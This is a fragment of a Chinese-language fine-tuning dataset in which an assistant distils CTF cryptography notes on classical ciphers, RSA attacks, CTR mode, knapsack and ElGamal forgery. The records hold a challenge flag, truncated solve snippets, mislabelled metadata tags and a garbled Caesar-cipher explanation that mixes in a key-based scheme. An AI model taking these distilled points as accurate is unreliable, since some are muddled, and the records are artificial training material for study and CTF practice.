保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 928, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "处理接下来的20轮交互", "heading_path": ["处理接下来的20轮交互"], "original_id": "docs-3d21f2d5fb8c97448889", "original_line": 439, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/problem.md", "source_root": "docs", "source_sha256": "e4aa4fdb1a1dff9b9d8b3195636825f83ad5c8aa8de090445bddb57d5391c978", "split": "train", "split_group_key": "56fa9e6a4ffe57c71b638813", "subcategory": "crypto/streamcipher/prng", "terms": ["密码学", "AI安全", "crypto", "streamcipher", "prng", "problem.md"], "title": "题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/problem.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-892310fc4f2458db81c3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/monoalphabetic.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/monoalphabetic.md`\n标题：单表代换加密\n章节：单表代换加密 > 凯撒密码 > 原理\n路径分类：crypto / crypto/classical/monoalphabetic.md\n分块：1/1\n\n核心知识点：\n- 其基本原理是 利用一个密钥，将密钥的每一位转换为数字（一般转化为字母表对应顺序的数字），分别以这一数字为密钥加密明文的每一位字母。\n- 凯撒密码（Caesar）加密时会将明文中的 每个字母 都按照其在字母表中的顺序向后（或向前）移动固定数目（循环移动）作为密文。\n- 例如： ` 明文：THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG 密文：WKH TXLFN EURZQ IRA MXPSV RYHU WKH ODCB GRJ ` 根据偏移量的不同，还存在若干特定的恺撒密码名称： - 偏移量为 10：Avocat （A→K） - 偏移量为 13：ROT13 - 偏移量为 -5：Cassis （K 6） - 偏移量为 -6：Cassette （K 7） 此外，还有还有一种基于密钥的凯撒密码 Keyed Caesar。\n- 这里以 XMan 一期夏令营分享赛宫保鸡丁队 Crypto 100 为例进行介绍。\n- 例如，当偏移量是左移 3 的时候（解密时的密钥就是 3）： `` 明文字母表：ABCDEFGHIJKLMNOPQRSTUVWXYZ 密文字母表：DEFGHIJKLMNOPQRSTUVWXYZABC ` 使用时，加密者查找明文字母表中需要加密的消息中的每一个字母所在位置，并且写下密文字母表中对应的字母。\n- 需要解密的人则根据事先已知的密钥反过来操作，得到原来的明文。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- classical\n- monoalphabetic.md\n\n代码/命令片段线索：\n- plain: 2 行，首行 `明文字母表：ABCDEFGHIJKLMNOPQRSTUVWXYZ`\n- plain: 2 行，首行 `明文：THE QUICK BROWN FOX JUMPS OVER THE LAZY DOG`\n- plain: 4 行，首行 `密文：s0a6u3u1s0bv1a`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 751, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "原理", "heading_path": ["单表代换加密", "凯撒密码", "原理"], "original_id": "docs-bd6136395bde52605c74", "original_line": 361, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/monoalphabetic.md", "source_root": "docs", "source_sha256": "0f067dab4b75b54ee479faf8ca79787754256a2fc3f9d437852c8af0c151e41e", "split": "train", "split_group_key": "2988f8da3dfd6df421b2568b", "subcategory": "crypto/classical/monoalphabetic.md", "terms": ["密码学", "漏洞利用", "crypto", "classical", "monoalphabetic.md"], "title": "单表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/monoalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-8b46ac4204ea44ba92fc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/monoalphabetic.md` 中的章节「破解」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/monoalphabetic.md`\n标题：单表代换加密\n章节：单表代换加密 > 仿射密码 > 破解\n路径分类：crypto / crypto/classical/monoalphabetic.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“破解”展开。\n- 而一般来说，我们利用仿射密码时，其字符集都用的是字母表，一般只有26个字母，而不大于26的与26互素的个数一共有 $$ \\phi(26)=\\phi(2) \\times \\phi(13) = 12 $$ 算上b的偏移可能，一共有可能的密钥空间大小也就是 $$ 12 \\times 26 = 312 $$ 一般来说，对于该种密码，我们至少得是在已知部分明文的情况下才可以攻击。\n- 首先，我们可以看到的是，仿射密码对于任意两个不同的字母，其最后得到的密文必然不一样，所以其也具有最通用的特点。\n- 这种密码由两种参数来控制，如果我们知道其中任意一个参数，那我们便可以很容易地快速枚举另外一个参数得到答案。\n- 那么我们还可以知道 $$ y_1=(ax_1+b)\\pmod{26} \\\\ y_2=(ax_2+b)\\pmod{26} $$ 两式相减，可得 $$ y_1-y_2=a(x_1-x_2)\\pmod{26} $$ 这里 $y_1,y_2$ 已知，如果我们知道密文对应的两个不一样的字符 $x_1$ 与 $x_2$ ，那么我们就可以很容易得到 $a$ ，进而就可以得到 $b$ 了。\n- 但是，假设我们已经知道采用的字母集，这里假设为26个字母，我们还有另外一种解密方式，我们只需要知道两个加密后的字母 $y_1,y_2$ 即可进行解密。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- classical\n- monoalphabetic.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 648, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "破解", "heading_path": ["单表代换加密", "仿射密码", "破解"], "original_id": "docs-97942db7727cbcdb6cb3", "original_line": 365, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/monoalphabetic.md", "source_root": "docs", "source_sha256": "0f067dab4b75b54ee479faf8ca79787754256a2fc3f9d437852c8af0c151e41e", "split": "train", "split_group_key": "731d1c6326144058d63013e4", "subcategory": "crypto/classical/monoalphabetic.md", "terms": ["密码学", "漏洞利用", "crypto", "classical", "monoalphabetic.md"], "title": "单表代换加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/monoalphabetic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-8c2fca3ca6b33a83e12e", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/blockcipher/mode/ctr.md` 中的章节「{'counter_len': 16, 'prefix': b'', 'suffix': b'', 'initial_value': 1, 'little_endian': False}」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/blockcipher/mode/ctr.md`\n标题：CTR\n章节：{'counter_len': 16, 'prefix': b'', 'suffix': b'', 'initial_value': 1, 'little_endian': False}\n路径分类：crypto / crypto/blockcipher/mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“{'counter_len': 16, 'prefix': b'', 'suffix': b'', 'initial_value': 1, 'little_endian': False}”展开。\n- ctr = Counter.new(AES.block_size * 8, initial_value = initial_value) print(ctr) aes = AES.new(key, counter = ctr, mode = AES.MODE_CTR) # key 已知, 推 counter, CTR mode 不需要 padding enc = aes.encrypt(msg) # msg 已知\n\n关键术语：\n- 密码学\n- crypto\n- blockcipher\n- mode\n- ctr.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 208, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "{'counter_len': 16, 'prefix': b'', 'suffix': b'', 'initial_value': 1, 'little_endian': False}", "heading_path": ["{'counter_len': 16, 'prefix': b'', 'suffix': b'', 'initial_value': 1, 'little_endian': False}"], "original_id": "docs-cd7cfff449ef078c83a4", "original_line": 334, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ctr.md", "source_root": "docs", "source_sha256": "3cc50c89e7ed49c2959bc6044eb83c42163db1c59e43c10428c03f7068d1efb4", "split": "train", "split_group_key": "db189d18daf809eab2da5e87", "subcategory": "crypto/blockcipher/mode", "terms": ["密码学", "crypto", "blockcipher", "mode", "ctr.md"], "title": "CTR"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/blockcipher/mode/ctr.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-8c37e7395272e60ed1c0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/rsa.md` 中的章节「2018 Backdoor Awesome mix1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/rsa.md`\n标题：RSA 数字签名\n章节：RSA 数字签名 > 2018 Backdoor Awesome mix1\n路径分类：crypto / crypto/signature/rsa.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“2018 Backdoor Awesome mix1”展开。\n- 首先，可以简单分析源码，这里程序使用 PKCS1_V1.5 进行了 RSA 签名，这会对明文消息进行扩展，具体扩展规则请参考 https://www.emc.com/collateral/white-papers/h11300-pkcs-1v2-2-rsa-cryptography-standard-wp.pdf 。\n- 显然如果我们控制 e=1的话，那么 $h(m)-pad(m)=kn$ 那么如果我们可以设置 k=1，既可以得到 n。\n- 本地部署 socat TCP4-LISTEN:12345,fork EXEC:./mix1.py。\n- 这里给出对应扩展脚本，对应于题目中的 from Util import PKCS1_pad as pad ``python def PKCS1_pad(data): asn1 = \"3021300906052b0e03021a05000414\" ans = asn1 + data n = len(ans) return int(('00' + '01' + 'ff' (1024 / 8 - n / 2 - 3) + '00' + ans), 16) ` 程序希望我们给出 n,e 使得程序满足 $h(m)^e...\n\n关键术语：\n- ROP/JOP\n- 密码学\n- AI安全\n- crypto\n- signature\n- rsa.md\n- code:python\n- code:shell\n\n代码/命令片段线索：\n- python: 5 行，首行 `def PKCS1_pad(data):`\n- python: 21 行，首行 `from Crypto.Hash import SHA`\n- shell: 7 行，首行 `➜ 2018-BackdoorCTF-Awesome-mix1 git:(master) python exp.py`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1728, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "crypto", "heading": "2018 Backdoor Awesome mix1", "heading_path": ["RSA 数字签名", "2018 Backdoor Awesome mix1"], "original_id": "docs-2739157c6ba5d69f3698", "original_line": 420, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/rsa.md", "source_root": "docs", "source_sha256": "a4f0b1340e492a1a2bbb06cb980865fca03ef5181db26e242030b66a08ca63bd", "split": "train", "split_group_key": "1b418437bb0abf2c85ac671d", "subcategory": "crypto/signature/rsa.md", "terms": ["ROP/JOP", "密码学", "AI安全", "crypto", "signature", "rsa.md", "code:python", "code:shell"], "title": "RSA 数字签名"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/signature/rsa.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-8c44dc1518345f0cd5d5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/classical/summary.md` 中的章节「古典密码分析思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/classical/summary.md`\n标题：总结\n章节：总结 > 古典密码分析思路\n路径分类：crypto / crypto/classical/summary.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“古典密码分析思路”展开。\n- CTF 中有关古典密码的题目，通常是根据密文求出明文，因此采用唯密文攻击居多，基本分析思路总结如下： 1. 确定密码类型：根据题目提示、加密方式、密文字符集、密文展现形式等信息。\n- 2. 确定攻击方法：包括直接分析、蛮力攻击、统计分析等方法。\n- 对于无法确定类型的特殊密码，应根据其密码特性选用合适的攻击方法。\n- 以上唯密文攻击方法的适用场景与举例如下： | 攻击方法 | 适用场景 | 举例 | | ---------- | ---------------------------------- | -------------------------------------- | | 直接分析法 | 由密码类型可确定映射关系的代换密码 | 凯撒密码、猪圈密码、键盘密码等 | | 蛮力攻击法 | 密钥空间较小的代换密码或置换密码 | 移位密码、栅栏密码等 | | 统计分析法 | 密钥空间较大的代换密码 | 简单替换密码、仿...\n- 3. 确定分析工具：以在线密码分析工具与 Python 脚本工具包为主，以离线密码分析工具与手工分析为辅。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- classical\n- summary.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 484, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "crypto", "heading": "古典密码分析思路", "heading_path": ["总结", "古典密码分析思路"], "original_id": "docs-261e285c8dd8c17e7f53", "original_line": 386, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/summary.md", "source_root": "docs", "source_sha256": "2ba3e6d53373332f5d4b059bfb576dd03c7d445a2456057fb1d5d9d84d31b435", "split": "train", "split_group_key": "ba6fb34812c7daea937234d7", "subcategory": "crypto/classical/summary.md", "terms": ["密码学", "漏洞利用", "crypto", "classical", "summary.md"], "title": "总结"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/classical/summary.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-8e8a132fb9bef7df8042", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md` 中的章节「两个小解密指数的情况」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md`\n标题：扩展维纳攻击\n章节：扩展维纳攻击 > 两个小解密指数的情况\n路径分类：crypto / crypto/asymmetric/rsa\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“两个小解密指数的情况”展开。\n- * 上述内容是原文中给出的当两个小解密指数是进行的攻击细节，并且分析了$\\alpha$的大小关系。\n- 那么这里的b向量其实我们使用格基规约算法例如LLL便可以得到基向量$b$，然后我们求解$b_2/b_1$即得到$d_1g/k_1$ 之后我们就可以得到 $$ \\varphi(N) = \\frac{edg}{k} - \\frac{g}{k} = \\lfloor edg/k\\rceil $$ 我们假设这些格中最短向量长度为$\\Delta^{1/4-\\epsilon}$，其中$\\Delta = det(L_2) = N^{13/2 + \\alpha_2}$。\n- 如果这些格是随机的，我们甚至几乎可以肯定没有格点比闵可夫斯基界（Minkowski's bound）$2\\Delta^{1/4}$，所以$bL_2$是最短向量当 $$ N^{1+2\\alpha_2} < (1/c_2)\\left(N^{13/2+\\alpha_2}\\right)^{1/4} $$ 对于一些小的$c_2$，如果有 $$ \\alpha_2 < 5/14 - \\epsilon^{'} $$ 则我们可以通过格基规约找到向量$b$。\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 1587, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "crypto", "heading": "两个小解密指数的情况", "heading_path": ["扩展维纳攻击", "两个小解密指数的情况"], "original_id": "docs-23eeb694015afbca43cb", "original_line": 295, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "source_root": "docs", "source_sha256": "6259fc513790c9ff568013f584880f4a71f53961789ec6058ea303d80373bd75", "split": "train", "split_group_key": "c1b5a690f2af141968fc6efe", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "扩展维纳攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_extending_wiener.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "executable", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-9271abed5a53aa7fb6e8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/executable/elf/structure/misc-sections.md` 中的章节「.gnu.hash」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/executable/elf/structure/misc-sections.md`\n标题：Misc Sections\n章节：Misc Sections > .gnu.hash\n路径分类：executable / executable/elf/structure\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“.gnu.hash”展开。\n- 注：本部分主要参考https://blogs.oracle.com/ali/gnu-hash-elf-sections。\n- 在 ELF 良好的可扩展性的帮助下， GNU 为 ELF 对象添加了一个新的哈希节，这个节的性能相比于原有的 SYSV hash 会好很多。\n- 更多内容请参考 https://blogs.oracle.com/ali/entry/gnu_hash_elf_sections。\n\n关键术语：\n- executable\n- elf\n- structure\n- misc-sections.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "executable", "chars": 237, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": ".gnu.hash", "heading_path": ["Misc Sections", ".gnu.hash"], "original_id": "docs-9f5c11e36ca2ee5635cd", "original_line": 481, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/misc-sections.md", "source_root": "docs", "source_sha256": "f7d3da2208169eec6fad2544213d980aa3e9d97996d4b54525db1509e655613d", "split": "train", "split_group_key": "edcc6ab6b479362e74025861", "subcategory": "executable/elf/structure", "terms": ["executable", "elf", "structure", "misc-sections.md"], "title": "Misc Sections"}, "source_dataset": "docs_distilled_v1", "source_path": "executable/elf/structure/misc-sections.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-93234e202ae8dcf66913", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md` 中的章节「2016 HCTF RSA1」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md`\n标题：私钥 d 相关攻击\n章节：私钥 d 相关攻击 > 综合例子 > 2016 HCTF RSA1\n路径分类：crypto / crypto/asymmetric/rsa\n分块：4/4\n\n核心知识点：\n- 本节主题围绕“2016 HCTF RSA1”展开。\n- 2A6AAC7FEA69DB7C9EB9786B50EBD437D38B73D44F3687AEB5DF03B6F425CF3171B098AAC6708D534F4D3A9B3D43BAF70316812EF95FC7EBB7E224A7016D7692B52CB0958951BAB4FB5CB1ABB4DAC606F03FA15697CC3E9DF26DE5F6D6EC45A683CD5AAFD58D416969695067795A2CF7899F61669BC7543151AB700A593BF5A1E...\n- ``python p = 0x94121F49C0E7A37A60FDE4D13F021675ED91032EB16CB070975A3EECECE8697ED161A27D86BCBC4F45AA6CDC128EB878802E0AD3B95B2961138C8CD04D28471B558CD816279BDCCF8FA1513A444AF364D8FDA8176A4E459B1B939EBEC6BB164F06CDDE9C203C612541E79E8B6C266436AB903209F5C63C8F0D...\n- ``shell true hctf{d8e8fca2dc0f896fd7cb4cb0031ba249} ``\n\n关键术语：\n- 密码学\n- 漏洞利用\n- crypto\n- asymmetric\n- rsa\n- d-attacks\n\n代码/命令片段线索：\n- plain: 1 行，首行 `然后我们直接去获得 d，进而就可以恢复明文`\n- plain: 1 行，首行 `得到 flag`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 2624, "chunk_count": 4, "chunk_index": 3, "ctf_score": 28, "ctf_task_type": "crypto", "heading": "2016 HCTF RSA1", "heading_path": ["私钥 d 相关攻击", "综合例子", "2016 HCTF RSA1"], "original_id": "docs-5e039444dbcae2a2884b", "original_line": 17, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md", "source_root": "docs", "source_sha256": "85e633de5d16e7597fac6a71304dd445659827d367ca09779c36046b10dde498", "split": "train", "split_group_key": "5bb61c30d1894ed4612b1638", "subcategory": "crypto/asymmetric/rsa", "terms": ["密码学", "漏洞利用", "crypto", "asymmetric", "rsa", "d-attacks"], "title": "私钥 d 相关攻击"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/rsa/d_attacks/rsa_d_attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-93426aed6c9d569f89b0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/streamcipher/prng/problem.md` 中的章节「参考文献」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/streamcipher/prng/problem.md`\n标题：题目\n章节：处理接下来的20轮交互 > 参考文献\n路径分类：crypto / crypto/streamcipher/prng\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“参考文献”展开。\n- https://github.com/r00ta/myWriteUps/tree/master/GoogleCTF/woodman - http://mslc.ctf.su/wp/google-ctf-woodman-crypto-100/ - https://github.com/ymgve/ctf-writeups/tree/master/tokyowesterns2017/ppc-backpackers_problem - https://en.cppreference.com/w/cpp/algori...\n\n关键术语：\n- 密码学\n- crypto\n- streamcipher\n- prng\n- problem.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 349, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "crypto", "heading": "参考文献", "heading_path": ["处理接下来的20轮交互", "参考文献"], "original_id": "docs-b19a864244d3b55ba6df", "original_line": 440, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/problem.md", "source_root": "docs", "source_sha256": "e4aa4fdb1a1dff9b9d8b3195636825f83ad5c8aa8de090445bddb57d5391c978", "split": "train", "split_group_key": "d1d27c74dcd421fba3fb88cb", "subcategory": "crypto/streamcipher/prng", "terms": ["密码学", "crypto", "streamcipher", "prng", "problem.md"], "title": "题目"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/streamcipher/prng/problem.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-93790cbc4597a14d7da5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/asymmetric/knapsack/knapsack.md` 中的章节「解密」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/asymmetric/knapsack/knapsack.md`\n标题：背包加密\n章节：背包加密 > Merkle–Hellman > 加解密 > 解密\n路径分类：crypto / crypto/asymmetric/knapsack\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“解密”展开。\n- 然后我们可以将得到的密文乘以 $w^{-1}$ 即可得到明文，这是因为 $$ \\sum_{i=1}^{i=n}w^{-1}b_iv_i \\bmod m=\\sum_{i=1}^{i=n}a_iv_i \\bmod m $$ 这里有 $$ b_i \\equiv w a_i \\bmod m $$ 对于每一块的加密的消息都是小于 m 的，所以求得结果自然也就是明文了。\n- 对于解密方，首先可以求的 w 关于 m 的逆元 $w^{-1}$。\n\n关键术语：\n- 密码学\n- crypto\n- asymmetric\n- knapsack\n- knapsack.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "crypto", "chars": 219, "chunk_count": 1, "chunk_index": 0, "ctf_score": 22, "ctf_task_type": "crypto", "heading": "解密", "heading_path": ["背包加密", "Merkle–Hellman", "加解密", "解密"], "original_id": "docs-fc7099b36a2a9ce94930", "original_line": 217, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/knapsack/knapsack.md", "source_root": "docs", "source_sha256": "ef7969d8ae8ab48cf14228a46f93cf1b3dc721afca2d9d8cc7eb6c35cbda0dcf", "split": "train", "split_group_key": "422a3dbf42b58a59b8150c21", "subcategory": "crypto/asymmetric/knapsack", "terms": ["密码学", "crypto", "asymmetric", "knapsack", "knapsack.md"], "title": "背包加密"}, "source_dataset": "docs_distilled_v1", "source_path": "crypto/asymmetric/knapsack/knapsack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "crypto", "ctf_task_type": "crypto", "dataset": "ctf-dataset", "id": "ctf-lora-94d159b42e6da2ca6bf3", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/crypto/signature/elgamal.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/crypto/signature/elgamal.md`\n标题：ElGamal\n章节：ElGamal > 常见攻击 > 已知签名伪造 > 原理\n路径分类：crypto / crypto/signature/elgamal.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 1. 选择整数$h, i, j \\in[0, p-2]$且满足$\\operatorname{gcd}(h r-j s, \\varphi(p))=1$ 2. 计算下式 $\\begin{array}{l} r^{\\prime}=r^{h} \\alpha^{i} y_{A}^{j} \\bmod p \\\\ s^{\\prime}=\\operatorname{sr}(h r-j s)^{-1} \\bmod \\varphi(p) \\\\ m^{\\prime}=r^{\\prime}(h m+i s)(h r-j s)^{-1}...\n- 